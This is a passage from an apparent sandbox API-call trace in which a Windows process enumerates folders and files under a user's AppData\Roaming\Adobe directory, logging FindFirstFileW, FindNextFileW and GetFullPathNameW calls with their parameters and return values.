ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0183.276] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0183.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.276] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x31 [0183.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.276] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x31 [0183.276] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f9d0 [0183.276] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.277] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0183.277] FindClose (in: hFindFile=0x135f9d0 | out: hFindFile=0x135f9d0) returned 1 [0183.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.277] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x31 [0183.277] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0183.277] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.278] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0183.278] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0183.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.278] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x33 [0183.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.278] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x33 [0183.278] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0183.278] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.279] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0183.279] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 1 [0183.279] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.279] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0183.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.279] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x33 [0183.279] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0183.280] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.280] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0183.280] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 1 [0183.280] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 0 [0183.280] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0183.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.280] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpFilePart=0x0) returned 0x38 [0183.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0183.280] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpFilePart=0x0) returned 0x38 [0183.281] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0183.325] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.325] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0183.325] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0183.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0183.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0183.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0183.326] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpFilePart=0x0) returned 0x38 [0183.326] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0183.326] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.326] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0183.326] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0183.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0183.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0183.327] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", lpFilePart=0x0) returned 0x2b [0183.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.327] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", lpFilePart=0x0) returned 0x2b [0183.327] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f490 [0183.328] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.328] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 1 [0183.328] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 0 [0183.328] FindClose (in: hFindFile=0x135f490 | out: hFindFile=0x135f490) returned 1 [0183.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.328] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", lpFilePart=0x0) returned 0x2b [0183.328] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f450 [0183.329] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.329] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 1 [0183.329] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.329] FindClose (in: hFindFile=0x135f450 | out: hFindFile=0x135f450) returned 1 [0183.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.329] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpFilePart=0x0) returned 0x34 [0183.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0183.329] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpFilePart=0x0) returned 0x34 [0183.329] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0183.330] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.330] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 1 [0183.330] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) 